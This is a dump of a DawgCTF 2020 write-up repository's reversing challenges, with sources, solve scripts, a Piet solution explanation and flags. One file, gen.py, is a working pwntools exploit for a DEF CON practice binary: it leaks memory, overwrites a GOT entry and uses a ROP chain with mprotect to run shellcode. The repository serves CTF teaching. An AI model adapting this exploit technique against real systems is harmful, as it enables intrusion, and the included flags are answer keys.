https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/defcon_practice/exploit.pcap -------------------------------------------------------------------------------- /reversing/defcon_practice/flag: -------------------------------------------------------------------------------- 1 | DawgCTF{n3xt_st0p_l4s_v3g4s} 2 | -------------------------------------------------------------------------------- /reversing/defcon_practice/gen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 5 | #libc = ELF("libc-2.23.so") 6 | e = ELF("./racewars") 7 | #r = process("./racewars") 8 | #r = process("LD_PRELOAD=./libc-2.23.so ./racewars", shell=True) 9 | #r = remote("2f76febe.quals2018.oooverflow.io", 31337) 10 | r = remote("192.168.129.141", 5001) 11 | context.arch = 'amd64' 12 | #r = process("linux_serverx64") 13 | #context.log_level = 'DEBUG' 14 | # first setup our double allocation 15 | def menu(): 16 | r.recvuntil("CHOICE: ") 17 | 18 | menu() 19 | r.sendline("1") 20 | r.recvuntil("need?\n") 21 | r.sendline("536870912") 22 | 23 | # alloc transmission so it gets allocated on top of our tires 24 | menu() 25 | r.sendline("4") 26 | r.recvuntil("ion? ") 27 | r.sendline("5") 28 | 29 | # fill out the rest of the car 30 | menu() 31 | r.sendline("2") 32 | r.sendline("1") 33 | menu() 34 | r.sendline("3") 35 | 36 | # set gears of transmission to a high number 37 | for i in xrange(1, 5): 38 | menu() 39 | r.sendline("1") 40 | menu() 41 | r.sendline(str(i)) 42 | r.recvuntil(": ") 43 | r.sendline("65535") 44 | 45 | #r.interactive() 46 | # now leak mem 47 | def leakb_rel(rel): 48 | menu() 49 | r.sendline("4") 50 | r.recvuntil("modify? ") 51 | r.sendline(str(rel+1)) 52 | r.recvuntil("is ") 53 | n = int(r.recvuntil(",")[:-1]) 54 | r.recvuntil("what?: ") 55 | r.sendline("0") 56 | r.recvuntil("no)") 57 | r.sendline("0") 58 | return chr(n) 59 | 60 | def leakq_rel(rel): 61 | res = '' 62 | for i in range(0, 8): 63 | res += leakb_rel(rel+i) 64 | return u64(res) 65 | 66 | #k = leakb_rel(-17) 67 | #print(hex(k)) 68 | gears_addr = leakq_rel(-17) - 39 69 | log.info("Gears address: " + hex(gears_addr)) 70 | 71 | pivot_addr = gears_addr - 145 72 | log.info("Pivot addr: " + hex(pivot_addr)) 73 | big_pivot_addr = pivot_addr + 496 74 | log.info("Big Pivot addr: " + hex(big_pivot_addr)) 75 | #r.interactive() 76 | 77 | def leakq_abs(addr, base): 78 | return leakq_rel(addr-base) 79 | 80 | printf_addr = leakq_abs(e.got["printf"], gears_addr) 81 | libc_base = printf_addr - libc.symbols["printf"] 82 | log.info("Printf @ plt: " + hex(printf_addr)) 83 | log.info("Libc base: " + hex(libc_base)) 84 | #r.interactive() 85 | def writeb_rel(rel, v): 86 | menu() 87 | r.sendline("4") 88 | r.recvuntil("modify? ") 89 | r.sendline(str(rel+1)) 90 | r.recvuntil("what?: ") 91 | r.sendline(str(ord(v))) 92 | r.recvuntil("no)") 93 | r.sendline("1") 94 | 95 | def writeq_abs(addr, v, base): 96 | v = p64(v) 97 | for i in xrange(0, len(v)): 98 | writeb_rel((addr-base)+i, v[i]) 99 | 100 | def writeb_abs(addr, v, base): 101 | writeb_rel((addr-base), v) 102 | 103 | pivot_gadget = 0x000000000003a2a7 104 | 105 | 106 | sc_base = gears_addr + 1000 107 | 108 | 109 | mini_rop = '' 110 | mini_rop += p64(libc_base + 0x0000000000038288) # pop rax ; ret 111 | mini_rop += p64(big_pivot_addr) 112 | mini_rop += p64(pivot_gadget+libc_base) 113 | for idx in xrange(0, len(mini_rop)): 114 | writeb_abs(pivot_addr+idx, mini_rop[idx], gears_addr) 115 | 116 | 117 | ropo = '' 118 | ropo += p64(0x0000000000401e13) # pop rdi; ret 119 | ropo += p64(sc_base & 0xfffff000) 120 | ropo += p64(0x0000000000401e11) # pop rsi ; pop r15 ; ret 121 | ropo += p64(0x2000) 122 | ropo += p64(0x1337) 123 | ropo += p64(libc_base + 0x0000000000001b8e) # pop rdx ; ret 124 | ropo += p64(7) 125 | ropo += p64(libc_base + libc.symbols["mprotect"]) 126 | ropo += p64(sc_base) 127 | log.info("rop chain length: " + str(len(ropo))) 128 | for idx in xrange(0, len(ropo)): 129 | writeb_abs(big_pivot_addr+idx, ropo[idx], gears_addr) 130 | 131 | 132 | #shellcode = asm(shellcraft.sh()) 133 | shellcode = open("racewars_sc", "rb").read() 134 | for idx in xrange(0, len(shellcode)): 135 | writeb_abs(sc_base+idx, shellcode[idx], gears_addr) 136 | 137 | 138 | def KSA(key): 139 | keylength = len(key) 140 | 141 | S = range(256) 142 | 143 | j = 0 144 | for i in range(256): 145 | j = (j + S[i] + ord(key[i % keylength])) % 256 146 | S[i], S[j] = S[j], S[i] # swap 147 | 148 | return S 149 | 150 | # bug: shouldn't be resetting counter without redoing state 151 | def PRGA(S): 152 | i = 0 153 | j = 0 154 | while True: 155 | i = (i + 1) & 0xff 156 | j = (j + S[i]) & 0xff 157 | S[i], S[j] = S[j], S[i] # swap 158 | 159 | K = S[(S[i] + S[j]) & 0xff] 160 | yield K 161 | 162 | def rc4(S, ptext): 163 | res = '' 164 | p = PRGA(S) 165 | for c in ptext: 166 | res += chr(ord(c) ^ p.next()) 167 | return res 168 | 169 | pivot_gadget = 0x000000000003a2a7 170 | writeq_abs(e.got["free"], pivot_gadget+libc_base, gears_addr) # eax = pivot_addr here 171 | menu() 172 | context.log_level = 'DEBUG' 173 | r.sendline("6") 174 | r.recvuntil("...\n") 175 | r.send(p32(0x1337)) 176 | key = u32("jett") ^ 0x1337 # retrieved from binary 177 | log.info("RC4 key: " + hex(key)) 178 | S = KSA(p32(key)) 179 | fname = "flag" 180 | while len(fname) != 32: 181 | fname += "\x00" 182 | r.send(rc4(S, fname)) 183 | res = r.readn(32) 184 | log.info("Got data back: " + repr(rc4(S, res))) 185 | r.interactive() 186 | -------------------------------------------------------------------------------- /reversing/defcon_practice/racewars: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/defcon_practice/racewars -------------------------------------------------------------------------------- /reversing/defcon_practice/racewars_sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/defcon_practice/racewars_sc -------------------------------------------------------------------------------- /reversing/defcon_practice/racewars_sc.txt: -------------------------------------------------------------------------------- 1 | void swap(unsigned char *a, unsigned char *b) { 2 | int tmp = *a; 3 | *a = *b; 4 | *b = tmp; 5 | } 6 | 7 | int KSA(char *key, unsigned char *S) { 8 | 9 | int len = 4; 10 | int j = 0; 11 | 12 | for(int i = 0; i < 256; i++) 13 | S[i] = i; 14 | 15 | for(int i = 0; i < 256; i++) { 16 | j = (j + S[i] + key[i % len]) % 256; 17 | 18 | swap(&S[i], &S[j]); 19 | } 20 | 21 | return 0; 22 | } 23 | 24 | int rc4(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext, int clen) { 25 | 26 | int i = 0; 27 | int j = 0; 28 | 29 | for(size_t n = 0; n < clen; n++) { 30 | i = (i + 1) & 0xff; 31 | j = (j + S[i]) & 0xff; 32 | 33 | swap(&S[i], &S[j]); 34 | int rnd = S[(S[i] + S[j]) & 0xff]; 35 | 36 | ciphertext[n] = rnd ^ plaintext[n]; 37 | 38 | } 39 | 40 | return 0; 41 | } 42 | 43 | 44 | void main(){ 45 | int xkey; 46 | read(0, &xkey, 4); 47 | xkey = xkey ^ *(int*)(0x0000000000401F88); // jett 48 | unsigned char buf[32]; 49 | unsigned char S[257]; 50 | unsigned char cbuf[32]; 51 | KSA((char*)&xkey, S); 52 | read(0, buf, 32); 53 | rc4(S, buf, cbuf, 32); 54 | int fd = open((char*)cbuf, O_RDONLY, O_RDONLY); 55 | read(fd, buf, 32); 56 | rc4(S, buf, cbuf, 32); 57 | write(1, cbuf, 32); 58 | 59 | } 60 | 61 | 62 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/README.md: -------------------------------------------------------------------------------- 1 | # Elf in the Elf - rev 350 2 | # Author: trashcanna @annatea16 3 | 4 | create.py - Generation Script, not distributed\ 5 | elf_in_the_elf_solve - Solution Script\ 6 | elfs.zip - Executables, distributed\ 7 | inner - Inner elf, not distributed\ 8 | inner.o - Inner elf .o file, not distributed\ 9 | inner.py - Creation of inner elf, not distributed\ 10 | template - template file, not distributed\ 11 | template.c - template file, not distributed 12 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/create.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | inner = open("inner", "rb").read() 4 | inner = [char for char in inner] 5 | template = open("template.c", "rb").read() 6 | 7 | operations = ['+', '-', '^'] 8 | 9 | for i in range(0, len(inner)): 10 | filename = "elfs/elf_" + str(i) + ".c" 11 | file_contents = template 12 | op = operations[randint(0,2)] 13 | constant = randint(0,255) 14 | 15 | file_contents = file_contents.replace("operation", op, 1) 16 | file_contents = file_contents.replace("constant", str(constant), 1) 17 | if op == '+': 18 | solution = ((ord(inner[i]) + constant) & 0xff) 19 | elif op == '-': 20 | solution = ((ord(inner[i]) - constant) & 0xff) 21 | else: 22 | solution = ((ord(inner[i]) ^ constant) & 0xff) 23 | file_contents = file_contents.replace("solution", str(solution), 1) 24 | 25 | open(filename, "wb").write(file_contents) 26 | execute = "gcc " + filename + " -o " + filename.split(".c",1)[0] 27 | os.system(execute) 28 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elf_in_the_elf_solve/.gdb_history: -------------------------------------------------------------------------------- 1 | pd main 2 | pd math 3 | x/s 0x2004 4 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elf_in_the_elf_solve/elfs: -------------------------------------------------------------------------------- 1 | ../elfs/ -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elf_in_the_elf_solve/out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/elf_in_the_elf/elf_in_the_elf_solve/out -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elf_in_the_elf_solve/sol.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | fout = open("out","wb") 4 | for i in xrange(4408): 5 | print i 6 | fname = "elfs/elf_%d"%i 7 | os.system("objdump -M intel -d %s | grep -A40 ':' > tmpout"%fname) 8 | code = open("tmpout","rb").read() 9 | code = code[:code.index('ret')+3] 10 | #print code 11 | code = code.split('\n') 12 | correctj = [j for j in xrange(len(code)) if "[rbp-0x1]" in code[j]][0] 13 | correct = int(code[correctj].split(',')[-1].strip(), 16) 14 | code = code[correctj:] 15 | #print "" 16 | #print hex(correct) 17 | opl = [l for l in code if "xor" in l or "add" in l or "sub" in l] 18 | if len(opl) == 0: 19 | fout.write(chr(correct)) 20 | fout.flush() 21 | continue 22 | opl = opl[0] 23 | #print opl 24 | opconst = int(opl.split(',')[-1].strip(), 16) 25 | #print hex(opconst) 26 | sol = None 27 | if "xor" in opl: 28 | sol = (correct ^ opconst)&0xff 29 | elif "add" in opl: 30 | sol = (correct - opconst)&0xff 31 | elif "sub" in opl: 32 | sol = (correct + opconst)&0xff 33 | print hex(sol) 34 | fout.write(chr(sol)) 35 | fout.flush() 36 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elf_in_the_elf_solve/tmpout: -------------------------------------------------------------------------------- 1 | 0000000000001155 : 2 | 1155: 55 push rbp 3 | 1156: 48 89 e5 mov rbp,rsp 4 | 1159: 48 83 ec 20 sub rsp,0x20 5 | 115d: 89 f8 mov eax,edi 6 | 115f: 88 45 ec mov BYTE PTR [rbp-0x14],al 7 | 1162: c6 45 ff 74 mov BYTE PTR [rbp-0x1],0x74 8 | 1166: 0f be 45 ff movsx eax,BYTE PTR [rbp-0x1] 9 | 116a: 0f be 55 ec movsx edx,BYTE PTR [rbp-0x14] 10 | 116e: 83 c2 74 add edx,0x74 11 | 1171: 39 d0 cmp eax,edx 12 | 1173: 75 0e jne 1183 13 | 1175: 48 8d 3d 88 0e 00 00 lea rdi,[rip+0xe88] # 2004 <_IO_stdin_used+0x4> 14 | 117c: e8 af fe ff ff call 1030 15 | 1181: eb 0c jmp 118f 16 | 1183: 48 8d 3d 82 0e 00 00 lea rdi,[rip+0xe82] # 200c <_IO_stdin_used+0xc> 17 | 118a: e8 a1 fe ff ff call 1030 18 | 118f: 90 nop 19 | 1190: c9 leave 20 | 1191: c3 ret 21 | 22 | 0000000000001192
: 23 | 1192: 55 push rbp 24 | 1193: 48 89 e5 mov rbp,rsp 25 | 1196: 48 83 ec 10 sub rsp,0x10 26 | 119a: 48 8d 3d 75 0e 00 00 lea rdi,[rip+0xe75] # 2016 <_IO_stdin_used+0x16> 27 | 11a1: b8 00 00 00 00 mov eax,0x0 28 | 11a6: e8 95 fe ff ff call 1040 29 | 11ab: 48 8b 05 5e 2e 00 00 mov rax,QWORD PTR [rip+0x2e5e] # 4010 30 | 11b2: 48 89 c7 mov rdi,rax 31 | 11b5: e8 96 fe ff ff call 1050 32 | 11ba: 88 45 ff mov BYTE PTR [rbp-0x1],al 33 | 11bd: 0f be 45 ff movsx eax,BYTE PTR [rbp-0x1] 34 | 11c1: 89 c7 mov edi,eax 35 | 11c3: e8 8d ff ff ff call 1155 36 | 11c8: b8 00 00 00 00 mov eax,0x0 37 | 11cd: c9 leave 38 | 11ce: c3 ret 39 | 11cf: 90 nop 40 | 41 | 00000000000011d0 <__libc_csu_init>: 42 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/elfs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/elf_in_the_elf/elfs.zip -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/inner: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/elf_in_the_elf/inner -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/inner.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/elf_in_the_elf/inner.o -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/inner.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch = "amd64" 3 | 4 | code = """ 5 | lea rbx, [rip + flag] 6 | xor rcx, rcx 7 | loop: 8 | xor BYTE PTR [rbx + rcx], 0x69 9 | inc rcx 10 | exit: 11 | cmp rcx,27 12 | jne loop 13 | 14 | mov rdx,26 15 | lea rsi, [rip+flag] 16 | mov rdi,1 17 | mov rax,1 18 | syscall 19 | mov rdi,0 20 | mov rax,60 21 | syscall 22 | flag: .ascii "\\x2D\\x08\\x1E\\x0E\\x2A\\x3D\\x2F\\x12\\x1A\\x1E\\x29\\x0E\\x36\\x58\\x07\\x36\\x1D\\x01\\x5A\\x36\\x0F\\x05\\x29\\x0E\\x14\\x63" 23 | 24 | """ 25 | code = asm(code) 26 | elf = make_elf(code) 27 | open("inner", 'wb').write(elf) 28 | -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/template: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/elf_in_the_elf/template -------------------------------------------------------------------------------- /reversing/elf_in_the_elf/template.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void math(char loc){ 4 | char sol = solution; 5 | if(sol == ((char)loc operation (char)constant)){ 6 | puts("Correct"); 7 | }else{ 8 | puts("Incorrect"); 9 | } 10 | } 11 | 12 | int main(){ 13 | char loc; 14 | printf("Where's the elf hiding?"); 15 | loc = fgetc(stdin); 16 | math(loc); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /reversing/ocean-boutique/Makefile: -------------------------------------------------------------------------------- 1 | BINS=ocean_boutique 2 | CC=gcc 3 | STRIP=strip 4 | CFLAGS=-Wall -Wextra -Wno-unused-parameter -fno-inline 5 | 6 | all: $(BINS) 7 | 8 | .PHONY: all 9 | 10 | ocean_boutique: ocean_boutique.c 11 | $(CC) $(CFLAGS) "$<" -o "$@" 12 | $(STRIP) "$@" 13 | 14 | clean: 15 | rm -f *.o $(BINS) 16 | 17 | .PHONY: clean 18 | -------------------------------------------------------------------------------- /reversing/ocean-boutique/README.md: -------------------------------------------------------------------------------- 1 | # Ocean Boutique 2 | 3 | ## Building 4 | 5 | Run `make` 6 | 7 | ## Solving 8 | 9 | Intended solution path: 10 | 1. Reverse the conditions in main() 11 | 2. Figure out loosely how input works 12 | 3. Find the table of opcodes 13 | 4. Reverse them 14 | 5. Find the stock table 15 | 6. Pull out the data 16 | 7. Try a solution, realize weight is a thing 17 | 8. Look at the stock table for a couple minutes, then find the solution that was 18 | light enough to be valid. (This wasn't intended to be a knapsack problem, it 19 | should have been pretty obvious once you could view the stock table data.) 20 | 9. Generate your transaction 21 | 10. Somewhere along the way, figure out how to trigger receipt printing 22 | 11. Win! 23 | 24 | ## Sample solution 25 | 26 | See solve.txt, it has the transcript of my test solution 27 | 28 | ## Files 29 | 30 | I've provided the binary, the original source code `ocean_boutique.c`, as well 31 | as a sample transaction that solves the challenge in `solve.txt`. 32 | -------------------------------------------------------------------------------- /reversing/ocean-boutique/ocean_boutique: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/ocean-boutique/ocean_boutique -------------------------------------------------------------------------------- /reversing/ocean-boutique/ocean_boutique.c: -------------------------------------------------------------------------------- 1 | #define _POSIX_C_SOURCE 200809 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define OP_PUR 3 8 | #define OP_TOTAL 8 9 | #define OP_QTY 4 10 | #define OP_PAY 6 11 | #define OP_END 9 12 | 13 | #define MAX_WEIGHT 1000 14 | 15 | #define STATIC __attribute__ ((visibility ("hidden"))) 16 | 17 | struct stock_item { 18 | int item_id; 19 | char *title; 20 | int price; 21 | int weight; 22 | }; 23 | 24 | STATIC struct stock_item STOCK_TABLE[] = { 25 | { 26 | .item_id = 1, 27 | .title = "Plush Retriever", 28 | .price = 133700, 29 | .weight = 8, 30 | }, 31 | { 32 | .item_id = 30, 33 | .title = "Cruise Ship Ticket", 34 | .price = 1000, 35 | .weight = 3, 36 | }, 37 | { 38 | .item_id = 10, 39 | .title = "Retriever Sticker", 40 | .price = 42, 41 | .weight = 1, 42 | }, 43 | { 44 | .item_id = 2, 45 | .title = "Authentic Meme", 46 | .price = 1, 47 | .weight = 1, 48 | }, 49 | { 50 | .item_id = 42, 51 | .title = "ACME Anvil", 52 | .price = 3133742, 53 | .weight = MAX_WEIGHT+1, 54 | }, 55 | { 56 | .item_id = 77, 57 | .title = "Link of Blockchain", 58 | .price = 50000, 59 | .weight = 10, 60 | }, 61 | }; 62 | 63 | struct receipt_item { 64 | int quantity; 65 | struct stock_item *item; 66 | struct receipt_item *next; 67 | }; 68 | 69 | struct line_item { 70 | int opcode; 71 | int immediate; // dollars * 100 72 | struct line_item *next; 73 | }; 74 | 75 | struct transaction_state { 76 | bool total_pressed; 77 | bool print_receipt; 78 | int running_total; // Dollars * 100. Updated by opcodes, when items are added 79 | int paid_total; 80 | int next_qty; // Updated by quantity opcode, processed & reset on next item 81 | int total_weight; 82 | }; 83 | 84 | STATIC struct line_item items = {0}; 85 | 86 | STATIC struct receipt_item receipt = {0}; 87 | 88 | STATIC struct transaction_state state = { 89 | .total_pressed = 0, 90 | .print_receipt = 0, 91 | .running_total = 0, 92 | .paid_total = 0, 93 | .next_qty = 1, 94 | }; 95 | 96 | void error() { 97 | printf("error\n"); 98 | exit(1); 99 | } 100 | 101 | void print_flag() { 102 | size_t size = 0; 103 | char *line = NULL; 104 | FILE *fp = fopen("flag.txt", "r"); 105 | if (fp) { 106 | size = 0; 107 | getline(&line, &size, fp); 108 | fclose(fp); 109 | } else { 110 | line = strdup("DogeCTF{Flag is different on the server.}\n"); 111 | } 112 | printf("%s", line); 113 | free(line); 114 | } 115 | 116 | STATIC void add_to_receipt(int quantity, struct stock_item *item) { 117 | struct receipt_item *r_item = malloc(sizeof(struct receipt_item)); 118 | r_item->quantity = quantity; 119 | r_item->item = item; 120 | struct receipt_item *walk = &receipt; 121 | while (walk->next) walk = walk->next; 122 | walk->next = r_item; 123 | } 124 | 125 | STATIC void print_receipt() { 126 | struct receipt_item *walk = &receipt; 127 | printf("Receipt\n"); 128 | while (walk->next) { 129 | walk = walk->next; 130 | printf("%d\t%s\n", walk->quantity, walk->item->title); 131 | } 132 | printf("\n"); 133 | } 134 | 135 | STATIC void link_item(int opcode, int immediate) { 136 | struct line_item *item = malloc(sizeof(struct line_item)); 137 | item->opcode = opcode; 138 | item->immediate = immediate; 139 | struct line_item *walk = &items; 140 | while (walk->next) walk = walk->next; 141 | walk->next = item; 142 | #ifdef DEBUG 143 | printf("Got %d %d\n", opcode, immediate); 144 | #endif 145 | } 146 | 147 | STATIC void get_input() { 148 | char buf[20]; 149 | printf("Enter transaction.\n"); 150 | 151 | for (size_t count = 0; count < 15; count++) { 152 | int opcode = 0; 153 | int immediate = 0; 154 | fgets(buf, sizeof(buf), stdin); 155 | 156 | char *walk = strtok(buf, " "); 157 | if (!walk) error(); 158 | opcode = atoi(walk); 159 | 160 | walk = strtok(NULL, " "); 161 | if (!walk) error(); 162 | immediate = atoi(walk); 163 | link_item(opcode, immediate); 164 | if (opcode == 9) { 165 | state.print_receipt = (immediate == 10); 166 | printf("\n"); 167 | return; 168 | } 169 | } 170 | error(); 171 | } 172 | 173 | STATIC struct stock_item *get_item(int immediate) { 174 | for (size_t i = 0; i < sizeof(STOCK_TABLE)/sizeof(STOCK_TABLE[0]); i++) { 175 | if (STOCK_TABLE[i].item_id == immediate) { 176 | return &STOCK_TABLE[i]; 177 | } 178 | } 179 | error(); 180 | return NULL; // shut up the compiler, which didn't detect the noreturn 181 | } 182 | 183 | STATIC void handle_purchase(int immediate) { 184 | struct stock_item *item = get_item(immediate); 185 | add_to_receipt(state.next_qty, item); 186 | state.running_total += item->price * state.next_qty; 187 | state.next_qty = 1; 188 | state.total_weight += item->weight; 189 | } 190 | 191 | STATIC void handle_instruction(int opcode, int immediate) { 192 | switch (opcode) { 193 | case OP_PUR: 194 | if (state.total_pressed) error(); 195 | if (immediate < 0) error(); 196 | handle_purchase(immediate); 197 | break; 198 | case OP_QTY: 199 | if (state.total_pressed) error(); 200 | if (immediate < 0) error(); 201 | state.next_qty = immediate; 202 | break; 203 | case OP_TOTAL: 204 | if (state.total_pressed) error(); 205 | if (immediate != OP_TOTAL) error(); 206 | state.total_pressed = true; 207 | break; 208 | case OP_PAY: 209 | if (!state.total_pressed) error(); 210 | if (immediate < 0) error(); 211 | if (immediate > state.running_total) error(); 212 | state.paid_total += immediate; 213 | state.running_total -= immediate; 214 | break; 215 | case OP_END: 216 | break; 217 | default: 218 | error(); 219 | break; 220 | } 221 | } 222 | 223 | STATIC void run_transaction() { 224 | printf("Processing transaction. Hopefully you remembered to:\n" 225 | "Purchase, Total, Pay, and End Transaction\n\n"); 226 | struct line_item *walk = &items; 227 | while (walk->next) { 228 | walk = walk->next; 229 | #ifdef DEBUG 230 | printf("Processing %d %d\n", walk->opcode, walk->immediate); 231 | #endif 232 | handle_instruction(walk->opcode, walk->immediate); 233 | } 234 | if (state.print_receipt) { 235 | print_receipt(); 236 | } 237 | } 238 | 239 | int main() { 240 | setvbuf(stdout, NULL, _IONBF, 0); 241 | setvbuf(stdin, NULL, _IONBF, 0); 242 | setvbuf(stderr, NULL, _IONBF, 0); 243 | printf("Welcome to the Ocean Boutique.\n" 244 | "Last year, y'all enjoyed the Snake Boutique, but I wanted to move closer to\n" 245 | "the C and find sequels by the shore, so I opened a new boutique.\n\n" 246 | "Your boss has directed you to purchase exactly 31337.42 of goods and keep the\n" 247 | "receipt. Don't forget to make sure it all fits in your suitcase!\n" 248 | "Thank you for using our self checkout, enjoy your vacation!\n\n"); 249 | get_input(); 250 | run_transaction(); 251 | if (state.total_pressed && 252 | state.print_receipt && 253 | state.running_total == 0 && 254 | state.paid_total == 3133742) { 255 | if (state.total_weight > MAX_WEIGHT) { 256 | printf( 257 | "You made it all the way to the airport, but your bags were too heavy. You are\n" 258 | "forced to leave an item behind. When you tell your boss the story, he signs you\n" 259 | "up for synergy training to help you plan better. Whomp whomp.\n" 260 | ); 261 | error(); 262 | } else { 263 | print_flag(); 264 | } 265 | } else { 266 | printf("Your boss is livid, you didn't follow his instructions. You're fired.\n"); 267 | error(); 268 | } 269 | 270 | return 0; 271 | } 272 | -------------------------------------------------------------------------------- /reversing/ocean-boutique/solve.txt: -------------------------------------------------------------------------------- 1 | $ ./ocean_boutique 2 | Welcome to the Ocean Boutique. 3 | Last year, y'all enjoyed the Snake Boutique, but I wanted to move closer to 4 | the C and find sequels by the shore, so I opened a new boutique. 5 | 6 | Your boss has directed you to purchase exactly 31337.42 of goods and keep the 7 | receipt. Don't forget to make sure it all fits in your suitcase! 8 | Thank you for using our self checkout, enjoy your vacation! 9 | 10 | Enter transaction. 11 | 3 1 12 | 3 10 13 | 4 60 14 | 3 77 15 | 8 8 16 | 6 3133742 17 | 9 10 18 | 19 | Processing transaction. Hopefully you remembered to: 20 | Purchase, Total, Pay, and End Transaction 21 | 22 | Receipt 23 | 1 Plush Retriever 24 | 1 Retriever Sticker 25 | 60 Link of Blockchain 26 | 27 | DawgCTF{C@sh_r3g1st3r?_m0r3_l1k3_sm@11_VM_r3@11y} 28 | -------------------------------------------------------------------------------- /reversing/pietREdish.md: -------------------------------------------------------------------------------- 1 | Piet RE dish...oh man...where to start with this. 2 | 3 | I wrote this challenge inspired by a piet challenge at [UMDCTF](https://umdctf.io/) in 2019. 4 | 5 | I'm going to start off by saying this challenge wasn't the kindest, which is why it was worth so many points. 6 | That said, it's certainly solvable with no prior experience. 7 | 8 | If you google `piet coding` or `piet language`, the esoteric language comes up almost right away. 9 | 10 | You can see from any example that this code is executional, and seems to simply execute assembly (sorta) embedded in an image. 11 | 12 | From there, by looking at the piet code in pietREdish, you can see that it looks like there's a block that executes, then a HUGE branch. 13 | 14 | Branches typically indicate something must be satisfied, and if you look at the line before the branch, you might see what looks like some sort of repeating encoding. 15 | You can do some physical analysis in paint with the [piet docs](https://www.dangermouse.net/esoteric/piet.html) to figure out that it's setting a value to 0, and from there, it branches or doesn't. 16 | If you'd like to see something branch differently than on a 0, I'd typically recommend changing that 0 to not a 0 by changing a single pixel. 17 | 18 | After changing a single pixel, that long branch executes, and the flag is printed instead of nothing. 19 | 20 | ----------------------------------------------- 21 | 22 | Other solutions include changing random pixels to red until it does what you want it to do (cited by anonymous during the competition). 23 | 24 | The solve picture shows the code recompiled (though this changes more than the simple thing needed). 25 | -------------------------------------------------------------------------------- /reversing/pietREdish.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/pietREdish.png -------------------------------------------------------------------------------- /reversing/pietREsolve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/pietREsolve.png -------------------------------------------------------------------------------- /reversing/potentially-eazzzy/README.md: -------------------------------------------------------------------------------- 1 | # Potentially Eazzzy 2 | 3 | This was intended to be a fairly straightforward constraint solving crackme. 4 | 5 | Some of the constraints ended up less than straightforward, requiring use of 6 | `z3.If` in my test solve. Still a decent constraint solving crackme I think 7 | 8 | I've uploaded the challenge, along with my solve script. 9 | -------------------------------------------------------------------------------- /reversing/potentially-eazzzy/potentially-eazzzy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Potentially Eazzzy 3 | # Author: chainsaw10 4 | 5 | # If I screwed up and you can't generate a key for your email, I tested this 6 | # program with info@umbccd.io and it should work with that email and an 7 | # appropriate key. Still yell at me in Discord though ;) 8 | 9 | try: 10 | FLAG = open("flag.txt", "r").read() 11 | except: 12 | FLAG = "DogeCTF{Flag is different on the server}" 13 | 14 | import itertools 15 | 16 | ALPHABET = [chr(i) for i in range(ord("*"), ord("z")+1)] 17 | 18 | def print_flag(): 19 | print("Generating flag...") 20 | print(FLAG) 21 | 22 | a = lambda c: ord(ALPHABET[0]) + (c % len(ALPHABET)) 23 | 24 | o = lambda c: ord(c) 25 | 26 | oa = lambda c: a(o(c)) 27 | 28 | def indexes(s, needle): 29 | a = 0 30 | for idx, c in enumerate(s): 31 | if c == needle: 32 | a += idx 33 | return a 34 | 35 | def m(one, two, three, four): 36 | d = len(ALPHABET)//2 37 | s = ord(ALPHABET[0]) 38 | s1, s2, s3 = o(one) - s, o(two) - s, o(three) - s 39 | return sum([s1, s2, s3]) % d == four % d 40 | 41 | def validate(email, key): 42 | email = email.strip() 43 | key = key.strip() 44 | 45 | if len(key) != 32: 46 | return False 47 | 48 | email = email[:31].ljust(31, "*") 49 | email += "*" 50 | 51 | for c in itertools.chain(email, key): 52 | if c not in ALPHABET: 53 | return False 54 | 55 | if email.count("@") != 1: 56 | return False 57 | 58 | if key[0] != "Z": 59 | return False 60 | 61 | dotcount = email.count(".") 62 | if dotcount < 0 or dotcount >= len(ALPHABET): 63 | return False 64 | 65 | if a(dotcount) != o(key[1]): 66 | return False 67 | 